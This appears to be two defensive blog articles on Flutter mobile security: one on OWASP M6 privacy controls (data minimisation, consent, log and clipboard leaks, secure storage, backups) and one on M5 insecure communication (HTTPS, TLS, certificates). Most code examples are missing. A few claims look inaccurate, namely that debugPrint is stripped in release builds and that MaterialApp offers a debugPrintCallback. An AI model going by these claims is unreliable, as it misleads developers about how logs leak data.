Inadequate privacy controls occur when apps fail to properly collect, store, transmit, or manage this data, making it vulnerable to unauthorized access, misuse, or disclosure. Attackers can exploit these weaknesses to steal identities, misuse payment data, or even blackmail users, leading to breaches of confidentiality, integrity, or availability.

Why Privacy Matters

The consequences of inadequate privacy controls are generally two aspects:

  • Technical Impact: While direct system damage may be minimal unless PII includes authentication data, manipulated data can disrupt backend systems or render apps unusable.

  • Business Impact: Privacy breaches can lead to:

    • Legal Violations: Non-compliance with regulations like GDPR (), CCPA (), PDPA, PIPEDA (Canada), or LGPD (Brazil) can result in hefty fines.

    • Financial Damage: Lawsuits and penalties can be costly.

    • Reputational Harm: Loss of user trust can drive users away.

    • Further Attacks: Stolen PII can fuel social engineering or other malicious activities.

For Flutter developers, prioritizing privacy is not just a technical necessity but a legal and ethical obligation.

Core Privacy Pitfalls in Flutter Apps

Now that we understand the implications of inadequate privacy controls, let’s examine the common scenarios in which Flutter apps can encounter M6 issues.

1. Excessive Data Collection vs. Data Minimization

One of the most pervasive privacy issues is simply collecting too much personal data or more details than necessary. Every extra field or sensor reading is a liability if you don’t need it. Common signs of over-collection in Flutter apps include asking for broad permissions or data your app’s core functionality doesn’t require, or sampling data more frequently than needed.

For example, suppose we have a fitness app that wants to track runs. A bad practice would be to request continuous fine-grained location updates even when the app is in the background, and to collect additional identifiers “just in case”:

A better approach is to apply data minimization and purpose limitation: only collect what you need, when you need it, and at the lowest fidelity that still serves the purpose. For instance, if the app only requires the total distance of a run or an approximate route, it could request location less frequently or with reduced accuracy, and it certainly shouldn’t include static personal identifiers with every data point:

Here we’ve reduced accuracy to “medium” and added a distanceFilter so we only get updates when the user moves 50+ meters. We also avoid attaching the user’s email or device ID to every location update – if the backend needs to tie data to a user, it can often use an opaque user ID or token server-side rather than the app bundling PII in each request. We also check a consent flag (locationSharingConsented) to ensure the user allowed sharing this data (more on consent later).

Data minimization questions: A good rule of thumb is to ask yourself (or your team) a series of questions about every piece of PII your app handles, :

  • Is each data element truly necessary for the feature to work (e.g., do we really need the user’s birthdate for a fitness app login)?

  • Can we use a less sensitive or less precise form of the data (e.g., using coarse location or zip code instead of exact GPS coordinates, or anonymizing an ID by hashing it)?

  • Can we collect data less often or discard it sooner (e.g., update location every few minutes instead of every second, or delete old records after 30 days)?

  • Can we store or transmit an aggregate or pseudonymous value instead (e.g., store that a user is in age group “20-29” instead of storing their full DOB)?

  • Did the user consent to this data collection and are they aware of how it will be used?

2. Ignoring Purpose Limitation and User Consent

Closely related to over-collection is the failure to enforce purpose limitation, using data in unexpected ways or without permission. In practice, this often means not honoring users' privacy choices. If your app has a toggle for “Send Anonymous Usage Data” or a user declines a permission, those preferences must be respected in code. Failing to do so isn’t just bad UX; it’s a privacy violation.

Consider an example of an e-commerce Flutter app that includes an analytics SDK. A user, during onboarding, unchecks a box that says “Share usage analytics.” However, the app’s code neglects to disable analytics collection:

Now, let’s correct it. We’ll respect the user’s preference and scrub PII from analytics events. We can disable Firebase Analytics collection entirely until consent is given, and exclude personal details from events:

Beyond analytics, purpose limitation means using data only for what you told the user. If they gave your app access to their contacts to find friends in the app, don’t use those contacts for marketing later. Much of Flutter comes down to developer discipline: keep track of why each permission or piece of data was requested. Document it, and audit your code to ensure you’re not repurposing data elsewhere.

3. Leaking Personal Data

There are different ways that PII can be leaked in a Flutter app. Let's start with the most common one: Logging.

PII in Logging and Error Message

Logging is a double-edged sword. We developers rely on logs, printouts, and crash reports to diagnose issues. But if we’re not careful, those same logs can become a privacy nightmare. Leaky logging is such a common pitfall that OWASP explicitly calls out scenarios where apps inadvertently include PII in logs or error messages. Those logs might end up on a logging server, in someone’s console output, or exposed on a rooted device – all places an attacker or even a curious user could snoop.

A classic example is printing out user data for debugging and forgetting to remove or guard it. Consider this Flutter code that logs a user’s sign-in information:

This code is problematic. It prints the user’s email and even their password (!) to the console. In a debug build, that’s already risky if you share logs; in a release build, print still outputs to device logs (for Android, via Logcat), which can be read by other apps on rooted devices or via adb in many cases. The token is also sensitive. And even in the catch, we log the email again. If this app uses a crash reporting service, those print statements might be collected and sent to a server or shown on a support technician’s dashboard. database exceptions or other errors can accidentally reveal PII, too (for example, an SQL error showing part of a query with user data). So, it’s not just our code but any exception message that could leak info.

Never log sensitive info in production, and sanitize error messages. In Flutter, you have a few strategies:

  • Use built-in : Under the hood, it wraps prints in if (kDebugMode) { print(...); }. This ensures you don’t execute those logs in release builds.

  • Even better, use the dart:developer log() function with appropriate log levels. Unlike print, the log() the function can be configured to be a no-op in release mode. Flutters log() won’t print to the console in release builds by default, preventing accidental info leakage in production.

  • Use a logging package that supports levels (like info, warning, error) and configure it to omit info/debug in release. Popular or other products can do this. At minimum, avoid printing PII at the info level; if something is truly sensitive (passwords, tokens), you should never log it, even in debug. If needed for debugging, log a placeholder like password: ****** or hash it.

  • Scrub exception messages if they might contain PII. For instance, if you catch an error from a failing API call that includes the request URL and query parameters, consider removing query parameters that might have PII (we’ll talk about avoiding PII in URLs next).

Let’s refactor the above login code with these practices:

In a real app, you might integrate with a logging backend or Crashlytics, ensure that what you send doesn’t contain secrets or personal data. Many crash-reporting SDKs let you set user identifiers or attach metadata; if you do, use an opaque ID or a hash instead of plain emails or names.Flutter’s MaterialApp has a debugPrintCallback and other places to intercept logs. Here is an example:

Sanitizing On-Screen Error Messages

Displaying raw server error messages to users can inadvertently expose sensitive internal information such as database schema details, internal IP addresses, stack traces, API keys, or even portions of personal identifiable information (PII) if the error message includes user-specific data. This is a direct information leakage vulnerability.

Before presenting them to the user, you must always intercept, sanitize, and customize error messages. Generic messages are safer and, in most cases, provide a better user experience.

In this example, the _fetchDataWithPotentialError function catches potential HTTP errors. Instead of directly displaying response.body which might contain sensitive details like {"error": "Database query failed for user ID 12345", "details": "SELECT * FROM users WHERE id='12345'"} it provides a generic, user-friendly message while logging the full error for developers to investigate.You can also check the "" article on Talsec.

PII in URL Parameters (OWASP Guidance)

Attaching sensitive data (like email addresses, session tokens, or user IDs) directly to URL query strings (e.g., GET /api/[email protected]) is a significant privacy and security risk.Even if this sounds unrelated to Flutter development, it's still relevant, and if you cannot avoid it, you should inform your team about it.This data can end up in:

  • Server Access Logs: Web servers typically log the complete URI of every request, including query parameters.

  • Browser History: If accessed via a webview, the URL with sensitive data could be stored in the device's browser history.

  • Analytics Referrers: If a user navigates from your app to an external site, the full referrer URL (including query parameters) might be sent to the external site's analytics.

  • Shared Links: If a user copies and shares a link containing PII from a webview, the PII is leaked.

  • Proxies/Firewalls: Intermediary devices may log or inspect these parameters.

OWASP explicitly states: "Sensitive information should never be transmitted as query parameters."To fix this, transmit sensitive data consistently over HTTPS in the request body (for POST, PUT, and PATCH requests) or in request headers (for authentication tokens, API keys, etc.).Here is a bad example:

But by changing that to the following code, we can ensure we follow best practices:

Always use , http.put, or http.patch with a body for sending sensitive user data, ensure your API endpoints enforce HTTPS for all communications.

Clipboard Leaks

The device's clipboard is a shared resource. Any data your app copies to the clipboard can be read by any other app running on the device that has permission to access the clipboard. This is a significant privacy concern, especially for sensitive information like passwords, OTP codes, credit card numbers, or personal notes. Recent Android and iOS versions have introduced warnings to users when an app reads the clipboard, increasing user awareness and concern about this behavior.

The best practices in this regard are usually:

  • Avoid Automatic Clipboard Usage: If possible, avoid automatically copying sensitive data to the clipboard.

  • User Consent/Action: If clipboard copy is necessary (e.g., "Copy OTP"), make it an explicit user action (e.g., a button tap).

  • Clear Clipboard: For extremely sensitive, short-lived data like OTPs, consider clearing the clipboard programmatically after a short, reasonable interval (e.g., 60 seconds). This prevents the data from lingering indefinitely.

The _checkClipboardContent function in the example is for demonstration purposes only to show what could be read. In a real app, you would not display the raw clipboard content to the user or log it unless it was part of a particular, secure feature.

Static Analysis and Mobile Security Scanners

Even with careful coding, potential data leaks or security misconfigurations can be easy to overlook, especially in larger projects or when multiple developers are involved.Static Analysis (Linters)Flutter projects often use lint rules. You can enable the avoid_print lint in your analysis_options.yaml file.

Why it helps: In release builds, print() statements are not automatically stripped and can still write to the system console (e.g., logcat on Android, on iOS/macOS), which anyone with debugging tools or physical access to the device can access. This means sensitive data logged within release mode is potentially leaked. debugPrint() is preferred as it's throttled and primarily optimized away in release builds.

Mobile Security ScannersFor more in-depth analysis, consider using mobile application security testing () tools, also known as mobile security scanners. These tools can analyze your compiled app binaries (APK for Android, IPA for iOS) to identify potential vulnerabilities, including:

  • Hardcoded secrets: API keys, passwords, tokens.

  • Insecure data storage: Unencrypted sensitive data on the device.

  • Usage of risky APIs: APIs known for privacy concerns (like unencrypted network calls).

  • Sensitive information in logs: Although harder to detect dynamically, some scanners might flag excessive logging or specific patterns.

  • Enabled debug flags: Identifying if debug features were left enabled in production.

There are a few examples of Mobile Security Scanners, including:

  • An open-source, automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis, and security assessment framework capable of performing static and dynamic analysis. It's highly recommended for its comprehensive feature set.

  • : A commercial platform offering mobile application security testing, often used for larger organizations or continuous integration.

  • : Another commercial solution for automated mobile application security analysis.

While these tools are beyond the scope of a simple Flutter project setup, integrating them into your CI/CD pipeline can significantly enhance your app's security posture and help catch issues that static analysis might miss.

4. Storing Sensitive Data Insecurely

If your Flutter app stores personal data on the device, you must treat that data as potentially accessible to attackers. Mobile devices can fall into attackers’ hands physically, or the user might have a rooted/jailbroken phone, or malware might be on the device.

Inadequate privacy control in storage means storing PII in plaintext on disk, failing to encrypt sensitive info, or not using the platform’s secure storage facilities. It can also mean not controlling whether that data gets backed up to the cloud.Let’s illustrate a bad practice: storing a user’s info (say their profile details or auth token) in plain SharedPreferences or a file:

By default, data stored via shared_preferences on Android, it ends up in an XML file in the app’s internal storage, which is sandboxed per app. iOS stores it in NSUserDefaults (also within the app sandbox). While the sandbox offers some isolation, it’s not foolproof; an attacker can read those files on a rooted Android device. Those files might be uploaded to cloud storage if the device is backed up (Android’s auto-backup or iCloud backup on iOS).

The better practice is to use secure storage for sensitive data and explicitly limit what gets backed up. Flutter provides the flutter_secure_storage package, which, under the hood, uses iOS Keychain and Android Keystore to store data that is encrypted at rest.

Encrypting Larger Data

You cannot rely solely on secure enclaves for larger datasets containing PII (e.g., a cached user profile, a collection of sensitive notes, or medical records) due to their size limitations. Instead, you must implement your encryption:

  • Encryption Algorithms: Use strong, industry-standard encryption algorithms like AES (Advanced Encryption Standard).

  • Key Management: The encryption key itself needs to be securely stored. This is where flutter_secure_storage comes back into play: you can generate a random AES key and store that key in flutter_secure_storage, then use it to encrypt/decrypt your larger data stored in regular files.

  • Packages: While you can use Dart's PointyCastle for fine-grained control, packages like encrypt (a more common and user-friendly wrapper) simplify the process.

Here is a conceptual example of encrypting and decrypting data:

The goal is never to leave human-readable personal information (PII) or other sensitive data lying around unencrypted on the device's file system or in SharedPreferences.

Backup Concerns (Android)

Android's default auto-backup feature can automatically back up application data to Google Drive for devices that use this service. This includes SharedPreferences and files stored in specific app-specific directories. While convenient for users, it poses a significant privacy risk if sensitive data is unintentionally backed up.

As OWASP M6 Guidance indicates clearly: Explicitly configure what data is included in backups to avoid surprises.

There are two solutions that you might want to follow:

a. Disabling Auto-Backup Entirely (android:allowBackup="false")

The simplest way to prevent sensitive data from being backed up is to disable auto-backup for your entire application.Edit android/app/src/main/AndroidManifest.xml:Locate the <application> tag and add the android:allowBackup="false" attribute:

This is the most straightforward approach for apps handling sensitive data where you don't want any data backed up by Google Drive's auto-backup.

b. Selective Backup (Opting out specific files/directories)

If you need some data to be backed up but want to exclude sensitive files, you can:

  • Android's NoBackup Directory: Android provides a special directory, accessible via Context.getNoBackupFilesDir(), whose contents are not backed up. Flutter does not directly expose this via path_provider. You would need to use platform channels to access this directory from Dart and then save your files there.

  • Custom Backup Rules: For more granular control, you can provide a custom android:fullBackupContent="@xml/backup_rules" attribute in your AndroidManifest.xml and define an XML file (res/xml/backup_rules.xml) that specifies which directories or files to include/exclude.

This is more complex and generally only needed if you have a mix of sensitive and non-sensitive data that should be backed up. For most security-conscious apps, android:allowBackup="false" is sufficient.

c. android:hasFragileUserData Flag

This manifest attribute (if set to true) tells Android that your app contains sensitive user data. If the user uninstalls the app, the system will offer the user the choice to retain the app's data. This data can then be restored if the app is reinstalled.

Counterintuitive: You might think "fragile" data would be auto-deleted, but the opposite is true: it gives the user the choice to keep data.

Privacy Implications: For sensitive apps, you generally do not want data hanging around after uninstall. If hasFragileUserData is true, and a malicious app with the same package name is later installed (e.g., after the user uninstalls your app), it could potentially claim that leftover data.

Recommendation: For privacy, explicitly set this flag based on your intent.

  • android:hasFragileUserData="false" (or omit it, as false is often the default)

    • This tells Android that its data should be removed when the app is uninstalled. This is generally the preferred setting for apps handling sensitive information.

  • android:hasFragileUserData="true": Only set this if you have a strong, user-centric reason to allow users to retain data on uninstall (e.g., large game data, extensive user-created content). Ensure users are informed.

Edit android/app/src/main/AndroidManifest.xml:

In general, for sensitive apps, opt to clean up data on uninstall by either setting android:hasFragileUserData="false" or by relying on the default false behavior if you are also disabling allowBackup.

Backup Concerns (iOS)

On iOS, files stored in your application's Documents directory are backed up to iCloud by default. This is similar to Android's auto-backup and poses a privacy risk for sensitive data.Essentially, the best practices are:

  • Exclude from Backup: For sensitive files, mark them with the NSURLIsExcludedFromBackupKey attribute. This requires platform-specific Objective-C or Swift code interacting with the iOS file system APIs.

  • Temporary Directory: Store truly temporary files that don't need to persist across launches or backups in NSTemporaryDirectory(). In Flutter, getTemporaryDirectory() from path_provider maps to this.

Here is a conceptual example (iOS platform-specific code via Platform Channels):

This is a one-time configuration, typically done when setting up your project, but it's crucial for preventing unintentional data leaks through backups.

It's easy to leak user data through third-party SDKs and Flutter plugins unintentionally. These external libraries often collect data you might not be aware of, impacting user privacy and your app's compliance.

Here's a concise guide to managing data exposure from third-party components:

5. Data Exposure via Third-Party SDKs and Plugins

Many plugins wrap native SDKs for features like analytics, crash reporting, advertising, or social login. These SDKs might automatically collect device information, user identifiers, or even sensitive data without your explicit code telling them to.

The common data collectors used in Flutter development are:

  • Analytics/Crash SDKs (e.g., Firebase, Crashlytics) often collect device model, OS, and app version. Be careful if you set user IDs or if crash logs contain PII.

  • Advertising SDKs (e.g., AdMob, Facebook Audience Network): Collect device advertising IDs (GAID/IDFA) and potentially location for targeted ads. On iOS, IDFA requires a user prompt; on Android, respect the user's "Limit Ad Tracking" setting.

  • Social Login SDKs (e.g., Google Sign-in, Facebook Login): Retrieve profile info (name, email) for login. Ensure they don't track usage beyond that.

  • UX/Performance Tools (e.g., session replays): Can record user interactions, potentially including sensitive data entered into forms.

Treat third-party SDKs as extensions of your app’s privacy surface. Configure them just as carefully as you write your code. The user will hold your app responsible if their data is misused, regardless of whether it was your code or a library. So you must take responsibility for what plugins do. Keep SDKs up-to-date, too; they often release updates to improve privacy (or security). Consider ditching if a certain SDK proves too invasive and has no way to mitigate.

6. Transmitting Personal Data Securely

This overlaps with OWASP but it’s worth briefly mentioning in the privacy context.If you’ve followed the guidance from , your app should already be using HTTPS/TLS for all network calls and avoiding eavesdropping risks. From a privacy standpoint, two specific concerns are: not encrypting sensitive data in transit and sending data to the wrong destination.

The first is straightforward: always use HTTPS for API calls that include PII. Never send info like passwords, tokens, or PII over unsecured channels. If you use WebViews or platform channels, apply the same rule (e.g., if loading a URL with query params, ensure it’s https and free of PII as discussed). If your app transmits extremely sensitive personal data (health records, financial info), consider an extra layer of encryption on the payload in addition to TLS – this is defense-in-depth in case the TLS is terminated somewhere you don’t fully trust. For example, some apps encrypt specific fields with a public key so that only the server can decrypt, even if the data passes through intermediate systems.

The second – sending data to the wrong place – could be as simple as accidentally logging PII to an analytics server when it was meant to go to your secure server, or having a misconfigured endpoint. Always double-check that personal data is only sent to necessary endpoints. This is more of a quality control issue. Still, it has privacy implications if you accidentally send user info to a third party when you intended it for your server.

We won't repeat this because we covered network security in detail in M5. Remember that inadequate privacy controls can manifest as plaintext communication or unintended broadcasts of PII. If you use Bluetooth or other local radios to transmit data (e.g., sending health data to a wearable), ensure those channels are also encrypted and authenticated.

Enhancing Privacy Controls with

As Flutter developers, ensuring user data privacy isn’t just about collecting the minimum necessary information and encrypting it; it’s also about monitoring and responding to potential threats that could compromise privacy in real-time. This is where tools like come into play.

is a powerful tool for detecting and mitigating various types of security threats, including tampering, reverse engineering, debugging, and data leaks, all of which can lead to privacy violations. By integrating freeRASP into your Flutter app, you can proactively detect any suspicious activity that might put your users' data at risk, helping you ensure compliance with privacy regulations like GDPR and CCPA.

Key Privacy Risks Addressed by

freeRASP is designed to monitor various threats that could directly impact user privacy. Below are a few common risks that helps mitigate:

  1. Rooted/Jailbroken Devices: When attackers gain control of the device, they can bypass security measures and access sensitive data. can detect if a device is rooted (Android) or jailbroken (iOS), which is a significant privacy concern.

  2. Debugging and Reverse Engineering: Debuggers and reverse engineering tools (e.g., Frida, Xposed) can manipulate the app’s code and access personal data. detects the presence of such tools in real time.

  3. Tampered Apps: If an attacker modifies the app’s code (repackaging), they can introduce vulnerabilities, such as sending user data to unauthorized third-party servers. protects by detecting changes to the app’s integrity.

  4. Insecure Device Storage: Storing sensitive user data in an insecure manner (e.g., unencrypted) can lead to data leaks, especially if the device is compromised. helps ensure that sensitive data is stored securely and inaccessible to unauthorized entities.

  5. Simulators and Emulators: Testing apps on simulators and emulators can sometimes expose sensitive data, as these environments may not be as secure as physical devices. detects when the app runs in an emulator, helping prevent exposure during testing.

Testing and Maintaining Privacy Controls

Privacy isn’t a one-time setup—it's an ongoing effort. Continuously verify that your app stays aligned with best practices:

  • Privacy-focused code reviews: For every new feature, ask: Are we collecting new data? Do we need it? How is it stored or logged? Use a checklist like the one in Section 1 and OWASP guidelines.

  • Automated checks: Enable lint rules (e.g., avoid_print) and write custom linters or unit tests to catch risky patterns. Add mobile security scanners to your CI pipeline to detect insecure storage or excessive permissions.

  • Dynamic testing: Run your app on rooted emulators to see if sensitive files (e.g., /shared_prefs) are protected. Use ADB backups or Auto Backup extractions to check for unintended data exposure.

  • Network inspection: Use a proxy in a test environment to verify that no PII is sent in plaintext. Test opt-out settings to ensure no data flows when disabled.

  • Privacy audits: Regularly review what data you collect, why, where it's stored, and who has access. This simplifies privacy policy updates and user data requests.

  • Dependency vigilance: Monitor package changelogs for changes in data handling. The Flutter ecosystem moves fast—stay informed.

  • User trust: Be transparent in your privacy policy and UI. Hidden data collection erodes trust.

  • Threat modeling: Think like an attacker—how could they access user data? Use that insight to fix weak spots in advance.

Privacy Controls Checklist

To make it simpler to use for your app and team, I have created this simple checklist for Privacy Controls:

[ ] Minimize PII: Collect only essential data; offer clear opt-in options.

[ ] Secure Storage: Use flutter_secure_storage for sensitive data (tokens, keys). Encrypt larger sensitive data.

[ ] Secure Transmission: Enforce HTTPS/TLS for all communications. Consider payload encryption for extremely sensitive data.

[ ] User Consent: Implement clear consent dialogs and transparent privacy policies.

[ ] Permission Management: Use permission_handler with clear explanations for permission requests.

[ ] Anonymization: Hash or tokenize sensitive data whenever possible.

[ ] Secure Logging: Exclude PII from all application logs (use debugPrint and sanitize error messages).

[ ] Compliance: Adhere to relevant data privacy regulations (GDPR, CCPA, etc.) and app store policies.

[ ] Testing & Audit: Conduct Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST), and regular privacy audits.

[ ] Optional: Use for runtime protection

Conclusion

Protecting user privacy is a fundamental responsibility for Flutter and Dart developers. Inadequate privacy controls (M6) pose significant risks, from data breaches to legal penalties, but they can be mitigated through careful design and robust security practices. Developers can build Flutter apps prioritizing user trust and safety by minimizing data collection, securing storage and communication, obtaining user consent, and complying with regulations.

As you develop your next Flutter app, keep privacy at the forefront. Use the tools, practices, and checklist provided here to ensure your app meets functional requirements and upholds the highest standards of user privacy. The following article in this series will explore M7, continuing our journey through the OWASP Mobile Top 10 for Flutter.

OWASP Top 10 For Flutter - M5: Insecure Communication for Flutter and Dart

In this fifth installment of our OWASP Top 10 series for Flutter developers, we shift focus to M5: Insecure Communication.In earlier parts, we tackled , , , and , each playing a crucial role in app security. But M5 strikes at the core of how mobile apps operate: how data moves in and out of your Flutter app.

Picture this, you’re in a cozy café, laptop open, integrating a new feature. You join the free Wi‑Fi, hit Run, and data starts to flow. What you don’t see is someone on that same network quietly capturing every byte, login tokens, profile calls, even payment info, because it’s traveling like postcards through a crowded street. That’s the heart of insecure communication.

This article isn't just about fixing bugs, it's about understanding how data is exposed, how attackers think, and how you can prevent silent breaches before they start.Then, let's get started

What Is “Insecure Communication”?

It’s every moment when your data can be watched, intercepted, or altered while in transit.Insecure communication shows up any time the bytes leaving your Flutter app—or your Dart backend—can be read, replayed, or rewritten by someone who wasn’t supposed to see them. It’s not just about typing https:// in your URLs. It’s about every transport your app relies on and every trust decision your code makes along the way.

Remember that café scene? If your request flies in the clear, the stranger at the next table can read or even modify it. And even when we think we’re being careful, we sometimes stub out certificate checks during testing, accept sketchy proxies during debugging, or log sensitive payloads in places we shouldn’t. These shortcuts pull us right back into danger—even if we’re technically using HTTPS.

Core Channels

Now that we’ve seen what insecure communication looks like in practice, let’s break down the channels where your data flows. We’ll get to code shortly, but first, here’s where risks tend to hide.These are the lifelines of your app. If any of them are exposed, everything else downstream is vulnerable.REST / GraphQLAlways use https://. Never put credentials or tokens in query strings—send them in headers or the body.

WebSocketsUse wss://, never ws://. Apply the same certificate validation and pinning logic as your REST layer.

If you’re using GraphQL subscriptions with graphql_flutter, confirm the client connects over wss:// and inherits your validation logic. No exceptions.

Raw TCP & gRPCEncryption is not optional. For raw sockets, wrap in SecureSocket. For gRPC, use ChannelCredentials.secure() and pin the server cert like you would for any HTTPS call.

SMS One-Time CodesAvoid them where possible, they’re vulnerable to SIM swaps and silent interception. If you must use them, expire them quickly and add detection for suspicious activity.Bluetooth & NFCPairing doesn’t mean encryption. Use BLE Secure Connections for Bluetooth, and encrypt NFC payloads end-to-end.

Who’s Listening?

No matter which transport you choose, if your app sends data in the clear—or trusts the wrong certificate—you’re vulnerable. Here are the common actors waiting to take advantage:

  • Passive listeners on public or compromised networks

  • Active man-in-the-middle attackers who intercept or inject traffic

  • Rogue access points (evil-twin Wi-Fi, hijacked routers)

  • On-device malware or tools running on rooted/jailbroken phones

  • Enterprise or MDM-pushed root CAs that override your app’s trust settings

Even one misconfigured transport can expose your entire session.Next, we’ll dive into the most common and preventable mistake: letting http:// endpoints sneak into production.

From HTTP to HTTPS

The fastest way to lose user trust, and data, is to let a single http:// endpoint slip into production. Before we talk about certificate pinning or advanced validation, we need to eliminate the most basic mistake: allowing unencrypted traffic in the first place.

Why Plain HTTP Is a Silent Killer

Using http:// is like taping your house key to the front gate—anyone walking by can grab it. Traffic moves in cleartext: tokens, cookies, form data, even search queries. All of it is readable to anyone on the same network, or logged by any proxy in the chain.And worse? A man-in-the-middle doesn’t even have to “break” encryption—because there isn’t any.The fix isn’t glamorous, but it’s non-negotiable:Encrypt every byte in transit and refuse to speak plaintext, ever.

Get a Certificate (Two Paths)

If you’re running a Dart backend—whether with shelf, HttpServer, or another server framework—you need a TLS certificate to serve HTTPS. This allows your Flutter app to connect securely, validate the server’s identity, and lay the foundation for things like certificate pinning.

Let’s look at two common paths: one for production deployments, and one for local development. You can also get certificates from a cloud provider or third-party CA—more on that below.

Option 1: Trusted Certificate (Let’s Encrypt or Third-Party)

For production, use a publicly trusted certificate from:

  • (free, automated)

  • Your cloud provider (e.g., AWS ACM, Google Managed Certs, Azure App Service)

  • A third-party certificate authority like DigiCert, GlobalSign, or ZeroSSL

Here’s how to set one up using Let’s Encrypt and Certbot on Ubuntu:

To test auto-renewal:

Certificates will be saved to:

You’ll reference these in Dart using SecurityContext() when starting your server.

💡 If you’re using a cloud platform (e.g., AWS, GCP, Azure), they may handle TLS termination for you. In that case, your Dart backend only sees HTTPS traffic forwarded as HTTP from the load balancer.

Option 2: Self-Signed Certificate (for Local Development)

For local testing and emulator development, a self-signed cert works fine. It’s not trusted by browsers or real devices—but that’s okay in dev. You’ll still benefit from full HTTPS support in your backend and Flutter app.To generate one using OpenSSL:

This creates two files:

  • localhost.crt — the certificate

  • localhost.key — the private key

Save these in your project directory or anywhere accessible by your Dart server.

Serve HTTPS in Dart with Shelf

Here’s how to use either cert type in a Dart backend with the shelf package:

⚠️ If you're using a self-signed cert, your Flutter app may reject the connection unless you override validation during development (more on that in section 4).

Here is now how we run our application with https supported.

While this seems to be more backend related, but we can also make sure our Flutter is adhering to best practices.

Lock Your App to HTTPS Only

Ensuring that your app refuses to connect to any HTTP endpoints is crucial. This prevents your app from accidentally leaking sensitive data over unencrypted channels. Let’s configure both Android and iOS to enforce HTTPS-only communication and block any insecure traffic.

Android:

Android gives you granular control over cleartext (non-HTTPS) traffic through Network Security Config. This is where you tell the app to only use HTTPS for production traffic, while allowing cleartext only for certain cases (like local development).

  1. Create or modify the network_security_config.xml file in your project:

  2. Path: android/app/src/main/res/xml/network_security_config.xml.

  • cleartextTrafficPermitted="false": This ensures that cleartext traffic (i.e., http://) is blocked for all domains.

  • The domain field specifies that only secure traffic (https://) is allowed for api.yourdomain.com and its subdomains.

  1. Reference the network_security_config.xml file in your AndroidManifest.xml:

  2. Path: android/app/src/main/AndroidManifest.xml.

Inside the <application> tag, add:

This step ensures that your app adheres to the defined network security rules.


Need to Allow http://10.0.2.2 for Local Development (Emulator)?For local development on Android, the emulator uses http://10.0.2.2 as the host for local services. To allow cleartext traffic for this during debugging, add a second domain-config block under the <network-security-config>:

let me give you a quick tip, wrap this configuration in a debug-only resource to ensure that it doesn't end up in production builds.

iOS: App Transport Security (ATS)

iOS enforces secure connections by default through App Transport Security (ATS), blocking any cleartext (HTTP) traffic. However, sometimes you might need to allow insecure connections during development, especially for local testing or non-production services.

  1. Modify your Info.plist file (located at ios/Runner/Info.plist):

Add or modify the following ATS settings:

This configuration:

  • Disables arbitrary loads (HTTP connections) for production builds.

  • Allows insecure connections (HTTP) only for localhost, useful when you're testing locally during development.

  1. Test your setup:

  2. Build a release version of your app (via flutter build ios), then try hitting an http:// URL. You should see it fail as expected—indicating that your app is correctly enforcing HTTPS.

The One‑Line Secure Client in Flutter

You don’t need complex setups to ensure secure HTTP requests. Dart’s http package uses default TLS validation, so you can trust it right out of the box. Here’s how you make a secure request with it:

This simple line of code ensures that:

  • The request will only succeed if the connection is encrypted (via HTTPS).

  • If the server presents an invalid or expired certificate, Dart will throw a handshake exception, preventing the connection from being established.

  • Your app will fail closed (securely) rather than silently accepting a downgraded insecure connection.

If you need additional layers of security, like certificate pinning or advanced validation, you can wrap this client using IOClient from the http/io_client.dart package, giving you finer control over certificate handling.

TLS 101: Handshake, Trust Stores & Default Validation

Before diving into certificate pinning or enforcing strict policies, it’s essential to understand how TLS (Transport Layer Security) works in Dart and Flutter by default. TLS is the foundation of secure communication, and it’s crucial to know how your app handles it when performing HTTPS requests.

How Dart’s HttpClient Validates Certificates by Default

When you call http.get(...) or use Dart’s HttpClient, Dart automatically performs a standard TLS handshake to ensure the connection is secure:

  1. ClientHello: Your app initiates the handshake by suggesting which protocol versions (e.g., TLS 1.2, TLS 1.3) and cipher suites it supports.

  2. ServerHello & Certificate: The server responds with its chosen protocol and cipher suite, along with its certificate chain.

  3. Validation: Dart’s HttpClient performs the following checks on the server’s certificate:

    • Certificate Chain: Dart ensures that the certificate is linked to a trusted root authority in your app’s trust store.

    • Expiry Check: Dart checks if the certificate is expired.

    • Hostname Matching: Dart ensures that the hostname you requested matches the certificate’s Subject Alternative Name (SAN) or Common Name (CN).

  4. Key Exchange & Encryption: If the certificate passes all checks, Dart and the server exchange session keys and establish an encrypted connection.

The Simple, Secure Call

Under the hood, Flutter’s http package uses IOClient, which delegates to the same HttpClient logic. The simplest, most secure call looks like this:

With this setup, you don’t need any additional code to validate certificates. Just use https:// for secure communication and ensure you don’t disable certificate validation callbacks.

Understanding SecurityContext in Dart

In Dart, is used to configure SSL/TLS settings when establishing a secure connection, such as for HTTPS requests. It’s an essential part of managing certificates and enforcing security protocols.Let’s break it down step-by-step:A object stores and manages the certificates and keys used for secure communication (like HTTPS or gRPC) in your Dart server or client.It can:

  • Store certificates to validate servers (e.g., SSL/TLS certificates).

  • Store a private key for your server when acting as a server.

  • Control which TLS protocols to use (like enforcing TLS 1.3).

  • Manage certificate pinning to ensure only specific certificates or public keys are trusted.

You can create and configure a SecurityContext in Dart to use it with an HttpClient or HttpServer when making or accepting HTTPS requests.For example, here’s how you load a certificate chain and a private key into a SecurityContext:

  • useCertificateChain: Loads the certificate chain from a file (in PEM format). The certificate chain can include the server's certificate and any intermediate certificates up to a trusted root certificate.

  • usePrivateKey: Loads the private key used for the server's certificate. This key is crucial for secure communication, as it enables the server to prove its identity.

💡 Tip: For local development, you may use self-signed certificates for testing. Just ensure the server trusts them by adding client.badCertificateCallback or using an assert() for dev-mode certificates.

Why SecurityContext Matters

In production, you should never disable certificate verification. Doing so opens the door to severe security risks, such as man-in-the-middle (MITM) attacks, where an attacker could intercept and modify your traffic.SecurityContext provides a secure, flexible, and powerful way to manage SSL/TLS connections in Dart. By configuring it properly, you ensure your app can securely connect to remote servers while avoiding common pitfalls.

Enforcing TLS Versions

You can enforce the use of specific TLS versions (e.g., TLS 1.3) by configuring the SecurityContext. This is useful to make sure your app only uses the most secure and up-to-date protocols.

You can also define ALPN (Application-Layer Protocol Negotiation) to ensure certain protocols are used, like HTTP/2:

This ensures that your app negotiates the best available protocol for secure communication.

Safe Dev-Mode Overrides for Self-Signed Certificates

During development, you may need to connect to a local server with a self-signed certificate (common for testing). Instead of disabling validation globally (which is dangerous), you can apply a scoped override that only activates for your local development server and only in debug builds.Here’s how you can safely trust your local dev server during testing:

  • The assert() ensures that this override only happens in debug mode (i.e., during development). The override will be stripped out in release builds, preventing any accidental trust issues.

